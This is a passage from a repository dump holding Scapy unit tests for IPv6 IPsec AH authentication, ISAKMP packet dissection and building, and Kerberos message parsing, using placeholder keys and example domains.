e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne[TCP].dport = 46\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / AH - Tunnel - HMAC-SHA1-96\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.hlim = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d == p\n\n#######################################\n= IPv6 / AH - Tunnel - HMAC-SHA1-96 - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.src = 'cc::ee'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n#######################################\n= IPv6 / AH - Tunnel - SHA2-256-128\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key',\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* alter mutable fields in the packet\ne.hlim = 2\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n* after decryption the original packet payload should be unaltered\nassert d == p\n\n#######################################\n= IPv6 / AH - Tunnel - SHA2-256-128 - altered packet\n\np = IPv6(src='11::22', dst='22::11')\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='SHA2-256-128', auth_key=b'secret key',\n                         tunnel_header=IPv6(src='aa::bb', dst='bb::aa'))\n\ne = sa.encrypt(p)\ne\n\nassert isinstance(e, IPv6)\n* after encryption packet should be encapsulated with the given ip tunnel header\nassert e.src == 'aa::bb' and e.dst == 'bb::aa'\nassert e.nh == socket.IPPROTO_AH\nassert e.haslayer(AH)\nassert e.haslayer(TCP)\nassert e[AH].spi == sa.spi\n\n* simulate the alteration of the packet before verification\ne.src = 'cc::ee'\n\n* integrity verification should fail\ntry:\n    d = sa.decrypt(e)\n    assert False\nexcept IPSecIntegrityError as err:\n    err\n\n###############################################################################\n+ IPv6 + Extensions / AH\n\n#######################################\n= IPv6 + Extensions / AH - Transport\n\np = IPv6(src='11::22', dst='22::11')\np /= IPv6ExtHdrHopByHop()\np /= IPv6ExtHdrDestOpt()\np /= IPv6ExtHdrRouting()\np /= IPv6ExtHdrDestOpt()\np /= IPv6ExtHdrFragment()\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert e.src == '11::22' and e.dst == '22::11'\n* AH header should be inserted between the routing header and the dest options header\nassert isinstance(e[AH].underlayer, IPv6ExtHdrRouting)\nassert isinstance(e[AH].payload, IPv6ExtHdrDestOpt)\n\n#######################################\n= IPv6 + Routing Header / AH - Transport\n\np = IPv6(src='11::22', dst='22::11')\np /= IPv6ExtHdrHopByHop()\np /= IPv6ExtHdrRouting(addresses=['aa::bb', 'cc::dd', 'ee::ff'])\np /= TCP(sport=45012, dport=80)\np /= Raw('testdata')\np = IPv6(raw(p))\np\n\nsa = SecurityAssociation(AH, spi=0x222,\n                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')\n\ne = sa.encrypt(p)\ne\n\nassert e.src == '11::22' and e.dst == '22::11'\n* AH header should be inserted between the routing header and TCP\nassert isinstance(e[AH].underlayer, IPv6ExtHdrRouting)\nassert isinstance(e[AH].payload, TCP)\n\n* reorder the routing header as the receiver will get it\nfinal = e[IPv6ExtHdrRouting].addresses.pop()\ne[IPv6ExtHdrRouting].addresses.insert(0, e.dst)\ne.dst = final\ne[IPv6ExtHdrRouting].segleft = 0\n\n* integrity verification should pass\nd = sa.decrypt(e)\nd\n\n"
  },
  {
    "path": "test/scapy/layers/isakmp.uts",
    "content": "% Scapy ISAKMP layer tests\n\n\n############\n############\n+ ISAKMP tests\n~ ISAKMP \n\n= ISAKMP - Phase 1 - Aggressive Security Association dissection\npkt = UDP(b'\\x01\\xf4\\x01\\xf4\\x02\\xf0\\x01\\xca/\\xa8\\xd0\\xc9\\x15zT\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x10\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xe8\\x04\\x00\\x008\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00,\\x01\\x01\\x00\\x01\\x00\\x00\\x00$\\x01\\x01\\x00\\x00\\x80\\x01\\x00\\x07\\x80\\x0e\\x00\\x80\\x80\\x02\\x00\\x01\\x80\\x04\\x00\\x10\\x80\\x03\\x00\\x01\\x80\\x0b\\x00\\x01\\x80\\x0c\\x00\\x84\\n\\x00\\x02\\x04n[}p2s\\xf3\\x91H=\\xea\\xafhV\\xb1\\xec\\x01\\xf0\\x1b\\xdfG[\\x1c\\xbd\\x07\\xa6\\xb7\\xe9\\xc6P2i\\\\\\xbd\\xdf\\xefI\\xe1\\\\\\x04\\xd8L\\xdd\\xbb7\\xc8,\\xd0G\\x12x\\x82t\\x9f\\x8c\\xee\\xcd\\xad\\x16P\\x7f%\\xc6|G\\xf2\\x8f\\x14\\xa7\\xa0w\\x1ax\\x87\\x8b\\x80\\xaa\\xf2\\x0b\\x82\\xb5k\\xcc\\xcb\\xdb5\\xc0j\\xc0\\xb1\\xd2\\x0e\\xb3\\x05\\xd3\\x9d\\x0bY\\xb4}[~\\n,W;]\\xe0|\\x08\\xed\\xe6\\xb4\\x82QoDE\\xa7\\xd5\\x91\\x92j@\\xa1vb\\xdd\\xc3\\xc8%\\x81\\xaf\\xcd\\xc2$V\\xd90d\\xc4\\x06$\\xd1\\xce\\x92\\xe0:\\x0fQ\\xa2\\xdb\\xd8\\x11\\xaf\\xf5\\xeb\\xde\\xbcih\\xc1n\\x80\\xe4\\x8a\\t\\xa2\\xcd{\\x7f\\xa3\\t)\\x9b\\xbc\\xe2v3\\xa6>9\\x87D\"\\x1a9\\xad\\x9b\\x16q\\xbe\\x02\\xb0\\x1f/\\xe6\\xd7\\x81\\xeb\\x98j\\x91\\xdf\\xabf\\xa9M+1\\xdc\\xc5\\xc5\\xd71\\xc7\\x11\\xc5\\xdcU\\xe9L\\x10\\x9f\\x00\\xc2\\x97S\\x90\\'\\xa8\\xd6dNy})F\\x99Z\\x82\\xa7\\x1a\\t\\x03\\xa4\\xe5\\xb5M\\x9b$\\x9a\\x10fX\\x10\\xa6\\xc6\\xdf#\\xe1\\xc7E2\\xdf\\xc2\\x1d}\\xd7\\x90820b\\xcd`\\xc7\\x1f\\xca\\xde\\xa0\\xd7\\xb6\\x87\\xe4\\xad\\xc4-\\xe9\\xce\\xd9Rx\\xc8\\xab\\xeaI+;\\x07\\x07-\\xaa\\xb4\\xa2\\xd1\\xd7-\\xe0\\x85\\x93\\xbe\\x1dqw\\xff\\x17\\x97\\xecku\\xf3H%\\x9e\\x95,W\\xa7\\xbaU\\xc7*\\xcd!\\xdb\\x83\\x8dNv~\\x1cq\\xc8~S\\xd1\"\\xbf\\x03(\\xac\\xf5\\xec\\xeb+*\\xfd:\\x9d.h\\xcb\\x15;\\xf1_E\\x02(:\\xab\\xa0}d\\xb2\\xce\\x1d\\xff4\\xc7\\x15{\\x80Iy.\\t7\\x96\\x95\\x96\\xda\\x1f\\xcf\\xab\\x03P=\\xd0\\t\\x05!\\x904\\xaf\\xdb\\xfa\\xcc6k\"\\xffB##\\x8a\\xacWx\\xf3J\\xe6[\\xe0\\x80\\x0b\\xc8\\x9a\\x9a\\x87gS\\xac\\xd6<\\r\\x1f\\x10%\\x14\\x90}\\x94m\\xd78$\\x95\\xf3>>i\\x15\\x1f\\x9ax\\x00\\xbc\\x14\\xcf\\xd0\\xbe;XLl\\xfa\\xa1\\x8f\\x8c\\xa6\\xc5\\x03\\xcd\\xc38\\xf6\\xb3V\\xf0|5&\\xf7\\xb3\\x99\\x8f\\x81\\x9a\\x93G\\xf3\\xf4S\\xddl\\x08-\\xec\\xa2\\x87\\xcf\\x14x\\xdc\\xef\\x0326\\x82J\\x05\\x00\\x00$\\xb0G9\\xbdI[@\\xedT\\x81\\xa0\\xe5\\\\]\\xd2\\x03}+\\x1c\\xfd\\x1b\\x88\\xed\\xa5\\xb0y\\xfd\\x8d&\\xe3\\x08\\x98\\r\\x00\\x00\\x0c\\x01\\x00\\x00\\x00\\x02\\x02\\x02\\x02\\r\\x00\\x00\\x0c\\t\\x00&\\x89\\xdf\\xd6\\xb7\\x12\\r\\x00\\x00\\x14\\xaf\\xca\\xd7\\x13h\\xa1\\xf1\\xc9k\\x86\\x96\\xfcwW\\x01\\x00\\r\\x00\\x00\\x18@H\\xb7\\xd5n\\xbc\\xe8\\x85%\\xe7\\xde\\x7f\\x00\\xd6\\xc2\\xd3\\x80\\x00\\x00\\x00\\r\\x00\\x00\\x14J\\x13\\x1c\\x81\\x07\\x03XE\\\\W(\\xf2\\x0e\\x95E/\\x00\\x00\\x00\\x14\\x90\\xcb\\x80\\x91>\\xbbin\\x08c\\x81\\xb5\\xecB{\\x1f')\n\nassert pkt.prop.proto == 1\nassert pkt.prop.trans.transforms == [\n   ('Encryption', 'AES-CBC'),\n   ('KeyLength', 128),\n   ('Hash', 'MD5'),\n   ('GroupDesc', '4096MODPgr'),\n   ('Authentication', 'PSK'),\n   ('LifeType', 'Seconds'),\n   ('LifeDuration', 132)\n]\nassert ISAKMP_payload_KE in pkt\nassert pkt[ISAKMP_payload_KE].length == 516\nassert len(pkt[ISAKMP_payload_KE].load) == 512\nassert ISAKMP_payload_ID in pkt\nassert pkt[ISAKMP_payload_ID].IdentData == \"2.2.2.2\"\nassert pkt.getlayer(ISAKMP_payload_VendorID, 5)\n\n= ISAKMP - Over NAT-Transversal - dissection\npkt = UDP(b'\\x11\\x94\\x11\\x94\\x01H4\\xea\\x00\\x00\\x00\\x00/\\xa8\\xd0\\xc9\\x15zT\\xc0\\x95Y\\x06\\xaf\\x97\\x1fd\\x8d\\x08\\x10 \\x01\\xa8!\\x97U\\x00\\x00\\x01<\\xc8\\xba\\x8434r\\xf8\\xc5J\\x84W:v4\\x1e\\x05\\x10\\xcc.\\xd8\\xb6\\tC\\x01~\\xad\\xd7l\\x9c^\\x06\\tc\\xadL\\xc4\\xc6\\xd0P\\x98\\xb1~\\x05\\x07\\xa0\\x0b2&\\x05\\xa7\\xa3\\x8c*: \\xbe\\xa4F\\x9d\\xa5\\xa9\\xf7T\\x88.\\xa9\\xe1K\\xa29N3%\\x19\\x80\\xd8!\\x12^)\\x1cJt\\xfb\\xe1\\xca\\xab\\xb5\\xf2\\x01\\xe83T\\x0f\\xd4\\xfd\\xb6\\xc4\\xe4z\\x03`\\xd0t\\xbc3\\xa9\\x9b\\x8d\\xac\\x89\\x7f\\xad\\xc2|\\x82\\x8a\\xe4`d\\xe6I\\xfcVS\\x17c7\\xce<v\\xa3\\xe8{\\xe4\\x04\\x13O\\xa2\\xe3\\xa1\\xbdE\\xf9\\xca\\xd8\"m\\xc3\\xda\\x82\\x08\\xf7\\xf4w\\x82TX\\xbe\\x0e\\x10\\xd5\\n\\x18/\\x18\\xab\\xfa\\r\\xa0J\\xe1\\xfeL\\xaf\\x91v%-\\n\\xfd\\x04-\\xe8hz\\xac0\\xa5_\\x9f:\\xb7U\\x9e\\xc8\\xd9i\\xd6?\\x9b$\\x8c\\xccl\\xa3\\xa4\\x85\\xb4O\\x1b\\xf3\\xa8\\xdf\\xf3\\xdf\\xa3n\\xf2\\xe5\\x1a\\xe6\\xe3\\x11=\\xef$\\x9bH\\x83\\xa6\\x9dVE\\xadY\\xa9\\x1e\\xad\\xbe!\\x91\\x8d[\\x82\\x14\\xde\\xb8S\\xee\\xf6SE/\\x1a\\xbf\\xaf\\xf7)ZJ|X\\xc8\\x04\\xcb\\xbd\\xe5_\\xbfU\\xba\\xc0`\\xb2t\\xb3^\\x0e\\xc4\\x8b\\xa4.T\\x84\\xcfT\\xa6')\n\nassert NON_ESP in pkt\nassert pkt[ISAKMP].exch_type == 32\nassert pkt[ISAKMP].version == 0x10\nassert pkt[ISAKMP].id == 2820773717\nassert pkt[ISAKMP].length == 316\nassert len(pkt[ISAKMP]) == 316\nassert len(pkt[ISAKMP].load) == 288\n\n= ISAKMP - Phase 2 - Security Association dissection\npkt = ISAKMP_payload_Hash(b'\\x01\\x00\\x00\\x14\\xee\\x80u\\x92\\xdbp\\xd7\\xbc\\xa1f\\x07\\xcb@\\xecg\\x8b\\n\\x00\\x004\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00(\\x01\\x03\\x04\\x01\\xcc=\\xae\\x0f\\x00\\x00\\x00\\x1c\\x01\\x03\\x00\\x00\\x80\\x05\\x00\\x02\\x80\\x03\\x00\\x02\\x80\\x04\\x00\\x01\\x80\\x01\\x00\\x01\\x80\\x02\\x00!\\x04\\x00\\x00$\\t\\x17\\x8c\\x89\\xfb\\x9aZ&Q\\x16\\xe3\\x89&\\xc4\\x12|\\x13\\xe7\\x99\\x9e\\x00f\\xe9\\xa8\\xc7\\xd0\\xd4\\x00>\\x13\\xd0\\x1b\\x05\\x00\\x00\\x84\\x80\\x9cNz\\x14\\x93\\xe7\\xb1\\x03\\x97y\\x16\\x1f/\\x08\\x98uE}\\xc0\\xc3\\xe3\\x18c\\x80w\\x13\\xad\\x96\\xe2N*+d%\\x9d7\\xff\\xf1\\xd4\\xb21\\xca\\x19E\\x98\\x96Xil\\xf0\\x7fN\\x80\\xf8qc\\x10\\x96M}\\xa5_\\x06\\xf4\"A1\\xd5%{\\xab\\x1ePc\\xfa\\xa0n\\x1c\\xd3R\\xaeT\\x87d\\x86\\xdf,?\\x9e\\x88\\xb5l\\xfaI\\xc2v\\xcb\\xf6\\xae1\\\\i\\x07\\xf5\\xac]@9\\xd3\\xd7\\x8a\\xc0\\xda\\xde\\xb2\\x97\\x8b\\x7f\\xe8\\xfa\\xa5V\\x80\\x0c\\xf0o\\x0b\\x05\\x00\\x00\\x10\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert ISAKMP_payload_SA in pkt\nassert pkt[ISAKMP_payload_SA].prop.proto == 3\nassert pkt[ISAKMP_payload_SA].prop.trans.transforms == [\n    ('AuthenticationAlgorithm', 'HMAC-SHA'),\n    ('GroupDesc', '1024MODPgr'),\n    ('EncapsulationMode', 'Tunnel'),\n    ('LifeType', 'seconds'),\n    ('LifeDuration', 33)\n]\nassert ISAKMP_payload_ID in pkt\n\n= ISAKMP_payload_Transform\np=IP(src='192.168.8.14',dst='10.0.0.1')/UDP()/ISAKMP()/ISAKMP_payload_SA(doi=0, prop=ISAKMP_payload_Proposal(trans=ISAKMP_payload_Transform(transforms=[('Encryption', 'AES-CBC'), ('Hash', 'MD5'), ('Authentication', 'PSK'), ('GroupDesc', '1536MODPgr'), ('KeyLength', 256), ('LifeType', 'Seconds'), ('LifeDuration', 86400)])/ISAKMP_payload_Transform(res2=12345,transforms=[('Encryption', '3DES-CBC'), ('Hash', 'SHA'), ('Authentication', 'PSK'), ('GroupDesc', '1024MODPgr'), ('LifeType', 'Seconds'), ('LifeDuration', 86400)])))\n\nr = p[ISAKMP_payload_Transform:2]\nr\nr.res2 == 12345\n\n= ISAKMP_payload_Transform build\nhexdump(p)\nassert raw(p) == b\"E\\x00\\x00\\x96\\x00\\x01\\x00\\x00@\\x11\\xa7\\x9f\\xc0\\xa8\\x08\\x0e\\n\\x00\\x00\\x01\\x01\\xf4\\x01\\xf4\\x00\\x82\\xbf\\x1f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00z\\x00\\x00\\x00^\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00R\\x01\\x01\\x00\\x00\\x03\\x00\\x00'\\x00\\x01\\x00\\x00\\x80\\x01\\x00\\x07\\x80\\x02\\x00\\x01\\x80\\x03\\x00\\x01\\x80\\x04\\x00\\x05\\x80\\x0e\\x01\\x00\\x80\\x0b\\x00\\x01\\x00\\x0c\\x00\\x03\\x01Q\\x80\\x00\\x00\\x00#\\x00\\x0109\\x80\\x01\\x00\\x05\\x80\\x02\\x00\\x02\\x80\\x03\\x00\\x01\\x80\\x04\\x00\\x02\\x80\\x0b\\x00\\x01\\x00\\x0c\\x00\\x03\\x01Q\\x80\"\n\n= ISAKMP_payload_Transform dissection\nq=IP(raw(p))\nq.show()\nr = q[ISAKMP_payload_Transform:2]\nr\nr.res2 == 12345\n\n= ISAKMP_payload_Notify\n\npkt = ISAKMP()/ISAKMP_payload_Notify(\n    notify_msg_type=\"INVALID-FLAGS\",\n    notify_data=\"Erreur\",\n)/ISAKMP_payload_Notify()\n\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00:\\x0b\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x08Erreur\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00'\n\npkt = ISAKMP(bytes(pkt))\nassert pkt[ISAKMP_payload_Notify].notify_data == b\"Erreur\"\nassert not pkt[ISAKMP_payload_Notify:2].next_payload\n\n= ISAKMP_payload_delete\n\npkt = ISAKMP()/ISAKMP_payload_Delete()\npkt.SPIs = [b\"A\" * 16, b\"B\" * 16]\nassert raw(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00H\\x00\\x00\\x00,\\x00\\x00\\x00\\x00\\x01\\x10\\x00\\x02AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB'\npkt = ISAKMP(raw(pkt))\nassert pkt.SPIcount == 2\nassert pkt.SPIsize == 16\nassert pkt.length == 72\nassert pkt[ISAKMP_payload_Delete].length == 44\n"
  },
  {
    "path": "test/scapy/layers/kerberos.uts",
    "content": "% Kerberos unit tests\n\n+ Kerberos dissection tests\n\n# https://www.cloudshark.org/captures/fa35bc16bbb0?filter=kerberos\n\n= Parse AS-REQ\n\npkt = IP(b'E\\x00\\x00\\xd9\\xff\\xff@\\x00\\xff\\x11\\x00\\x00\\x7f\\x00\\x00\\x15\\x00\\x00\\x00\\x00;o\\x00X\\x00\\xc5\\x00\\x00j\\x81\\xba0\\x81\\xb7\\xa1\\x03\\x02\\x01\\x05\\xa2\\x03\\x02\\x01\\n\\xa3\\x0e0\\x0c0\\n\\xa1\\x04\\x02\\x02\\x00\\x95\\xa2\\x02\\x04\\x00\\xa4\\x81\\x9a0\\x81\\x97\\xa0\\x07\\x03\\x05\\x00\\x00\\x01\\x00\\x10\\xa1\\x150\\x13\\xa0\\x03\\x02\\x01\\x01\\xa1\\x0c0\\n\\x1b\\x08LOCALDC$\\xa2\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa3&0$\\xa0\\x03\\x02\\x01\\x02\\xa1\\x1d0\\x1b\\x1b\\x06krbtgt\\x1b\\x11SAMBA.EXAMPLE.COM\\xa5\\x11\\x18\\x0f20150130151703Z\\xa7\\x06\\x02\\x04\\x14\\xe1\\x18\\xa7\\xa8\\x1d0\\x1b\\x02\\x01\\x12\\x02\\x01\\x11\\x02\\x01\\x10\\x02\\x01\\x17\\x02\\x01\\x19\\x02\\x01\\x1a\\x02\\x01\\x01\\x02\\x01\\x03\\x02\\x01\\x02')\n\nassert isinstance(pkt.root, KRB_AS_REQ)\nassert pkt.root.reqBody.cname.nameString[0] == b'LOCALDC$'\nassert pkt.root.reqBody.realm == b'SAMBA.EXAMPLE.COM'\nassert pkt.root.reqBody.sname.nameString[0] == b\"krbtgt\"\nassert pkt.root.reqBody.nonce == 0x14e118a7\nassert pkt.root.reqBody.etype == [0x12, 0x11, 0x10, 0x17, 0x19, 0x1a, 0x1, 0x3, 0x2]\n\n= Parse KRB-ERROR\n\npkt = IP(b'E\\x00\\x02c\\xff\\xff@\\x00\\xff\\x11\\x00\\x00\\x7f\\x00\\x00\\x15\\x7f\\x00\\x00\\x15\\x00X;o\\x02O\\x00\\x00~\\x82\\x02C0\\x82\\x02?\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x1e\\xa2\\x11\\x18\\x0f19810206083031Z\\xa4\\x11\\x18\\x0f20150129151703Z\\xa5\\x05\\x02\\x03\\t\\xae\\xc0\\xa6\\x03\\x02\\x01\\x19\\xa7\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xa8\\x150\\x13\\xa0\\x03\\x02\\x01\\x01\\xa1\\x0c0\\n\\x1b\\x08LOCALDC$\\xa9\\x13\\x1b\\x11SAMBA.EXAMPLE.COM\\xaa&0$\\xa0\\x03\\x02\\x01\\x02\\xa1\\x1d0\\x1b\\x1b\\x06krbtgt\\x1b\\x11SAMBA.EXAMPLE.COM\\xab\\x10\\x1b\\x0eNEEDED_PREAUTH\\xac\\x82\\x01\\x84\\x04\\x82\\x01\\x800\\x82\\x01|0\\n\\xa1\\x04\\x02\\x02\\x00\\x88\\xa2\\x02\\x04\\x000\\x82\\x01R\\xa1\\x03\\x02\\x01\\x13\\xa2\\x82\\x01I\\x04\\x82\\x01E0\\x82\\x01A07\\xa0\\x03\\x02\\x01\\x12\\xa10\\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com07\\xa0\\x03\\x02\\x01\\x11\\xa10\\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com07\\xa0\\x03\\x02\\x01\\x03\\xa10\\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com07\\xa0\\x03\\x02\\x01\\x01\\xa10\\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com07\\xa0\\x03\\x02\\x01\\x01\\xa10\\x1b.SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com0\"\\xa0\\x03\\x02\\x01\\x17\\xa1\\x1b\\x1b\\x19SAMBA.EXAMPLE.COMLOCALDC$0\\t\\xa1\\x03\\x02\\x01\\x02\\xa2\\x02\\x04\\x000\\r\\xa1\\x04\\x02\\x02\\x00\\x85\\xa2\\x05\\x04\\x03MIT')\n\nassert isinstance(pkt.root, KRB_ERROR)\nassert pkt.root.cname.nameString[0] == b\"LOCALDC$\"\nassert pkt.root.realm == b\"SAMBA.EXAMPLE.COM\"\nassert pkt.root.eText == b\"NEEDED_PREAUTH\"\nassert len(pkt.root.eData.seq) == 4\nassert pkt.root.eData.seq[0].padataType == 0x88\nassert pkt.root.eData.seq[1].padataType == 0x13\nassert pkt.root.eData.seq[3].padataType == 0x85\nassert pkt.root.eData.seq[3].padataValue == b\"MIT\"\n\netype_info2 = pkt.root.eData.seq[1]\nassert etype_info2.padataValue.seq[0].salt == b'SAMBA.EXAMPLE.COMhostlocaldc.samba.example.com'\n\n= Parse KRB-ERROR (2)\n\n# This one is a preauth one\n\npkt = KerberosTCPHeader(b'\\x00\\x00\\x01A~\\x82\\x01=0\\x82\\x019\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x1e\\xa4\\x11\\x18\\x0f20251213001046Z\\xa5\\x05\\x02\\x03\\x05F\\x1f\\xa6\\x03\\x02\\x01\\x19\\xa9\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xaa!0\\x1f\\xa0\\x03\\x02\\x01\\x02\\xa1\\x180\\x16\\x1b\\x06krbtgt\\x1b\\x0cdomain.local\\xac\\x81\\xda\\x04\\x81\\xd70\\x81\\xd40t\\xa1\\x03\\x02\\x01\\x13\\xa2m\\x04k0i0/\\xa0\\x03\\x02\\x01\\x12\\xa1(\\x1b&DOMAIN.LOCALhostcomputer1.domain.local0/\\xa0\\x03\\x02\\x01\\x11\\xa1(\\x1b&DOMAIN.LOCALhostcomputer1.domain.local0\\x05\\xa0\\x03\\x02\\x01\\x170;\\xa1\\x03\\x02\\x01o\\xa24\\x042000\\x0b\\x06\\t`\\x86H\\x01e\\x03\\x04\\x02\\x030\\x0b\\x06\\t`\\x86H\\x01e\\x03\\x04\\x02\\x020\\x0b\\x06\\t`\\x86H\\x01e\\x03\\x04\\x02\\x010\\x07\\x06\\x05+\\x0e\\x03\\x02\\x1a0\\t\\xa1\\x03\\x02\\x01\\x02\\xa2\\x02\\x04\\x000\\t\\xa1\\x03\\x02\\x01\\x10\\xa2\\x02\\x04\\x000\\t\\xa1\\x03\\x02\\x01\\x0f\\xa2\\x02\\x04\\x00')\n\nassert Kerberos in pkt\nassert len(pkt.root.eData.seq) == 5\nassert isinstance(pkt.root.eData.seq[0].padataValue, ETYPE_INFO2)\nassert pkt.root.eData.seq[0].padataValue.seq[0].salt.val == b\"DOMAIN.LOCALhostcomputer1.domain.local\"\nassert isinstance(pkt.root.eData.seq[1].padataValue, TD_CMS_DIGEST_ALGORITHMS)\nassert [x.algorithm.oidname for x in pkt.root.eData.seq[1].padataValue.seq] == [\n    \"sha512\",\n    \"sha384\",\n    \"sha256\",\n    \"sha1\",\n]\nassert pkt.root.eData.seq[2].padataType == 2\n\n= Parse KRB-ERROR (3)\n\n# This is a TKT EXPIRED\n\npkt = KerberosTCPHeader(b'\\x00\\x00\\x00{~y0w\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x1e\\xa4\\x11\\x18\\x0f20251213001312Z\\xa5\\x05\\x02\\x03\\r\\xae\\x86\\xa6\\x03\\x02\\x01 \\xa9\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xaa!0\\x1f\\xa0\\x03\\x02\\x01\\x02\\xa1\\x180\\x16\\x1b\\x06krbtgt\\x1b\\x0cDOMAIN.LOCAL\\xac\\x19\\x04\\x170\\x15\\xa1\\x03\\x02\\x01\\x03\\xa2\\x0e\\x04\\x0c3\\x01\\x00\\xc0\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00')\n\nassert Kerberos in pkt\nassert pkt.root.errorCode == 0x20\nassert pkt.root.sname.nameString == [b\"krbtgt\", b\"DOMAIN.LOCAL\"]\nassert isinstance(pkt.root.eData, KERB_ERROR_DATA)\nassert pkt.root.eData.dataValue.status == 0xc0000133\nassert pkt.root.eData.dataValue.flags == 1\n\n= Parse AS-REP\n\npkt = 